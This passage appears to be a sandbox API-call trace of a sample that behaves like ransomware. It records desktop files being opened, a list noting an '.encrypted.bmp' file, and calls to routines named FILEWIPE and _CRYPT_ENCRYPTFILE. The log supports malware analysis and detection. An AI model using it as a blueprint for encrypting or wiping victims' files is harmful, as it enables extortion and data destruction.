[0022.320] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.320] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.322] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.322] CharLowerBuffW (in: lpsz="byte[37756]", cchLength=0xb | out: lpsz="byte[37756]") returned 0xb [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.322] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.322] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.322] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.322] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.323] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.323] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.325] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.325] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.325] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.326] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.326] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.326] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.329] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.329] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.329] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.329] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.329] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.329] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.329] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.329] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.329] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.329] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=584) returned 1 [0022.329] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.329] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.329] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.330] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x248, lpOverlapped=0x0) returned 1 [0022.330] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.330] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.330] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=584) returned 1 [0022.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\n", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0022.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\n", cchWideChar=61, lpMultiByteStr=0xe8f40514f0, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\n", lpUsedDefaultChar=0x0) returned 61 [0022.330] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051770*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051770*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3c, lpOverlapped=0x0) returned 1 [0022.330] CloseHandle (hObject=0x1fc) returned 1 [0022.332] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.332] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.333] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.333] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.333] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.333] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.334] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.334] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.335] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.335] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.335] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0022.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.mp3", cchWideChar=46, lpMultiByteStr=0xe8f404bf10, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.mp3", lpUsedDefaultChar=0x0) returned 46 [0022.336] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\cchnli nseui.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=46, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0022.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=46, lpWideCharStr=0xe8f40624f0, cchWideChar=46 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.mp3") returned 46 [0022.337] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.337] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.337] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.338] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.338] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178400, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.338] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.338] CloseHandle (hObject=0x1fc) returned 1 [0022.338] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.338] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.338] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.338] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.338] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.338] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.338] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.339] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.339] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.339] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.339] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.340] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.340] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.340] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.340] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 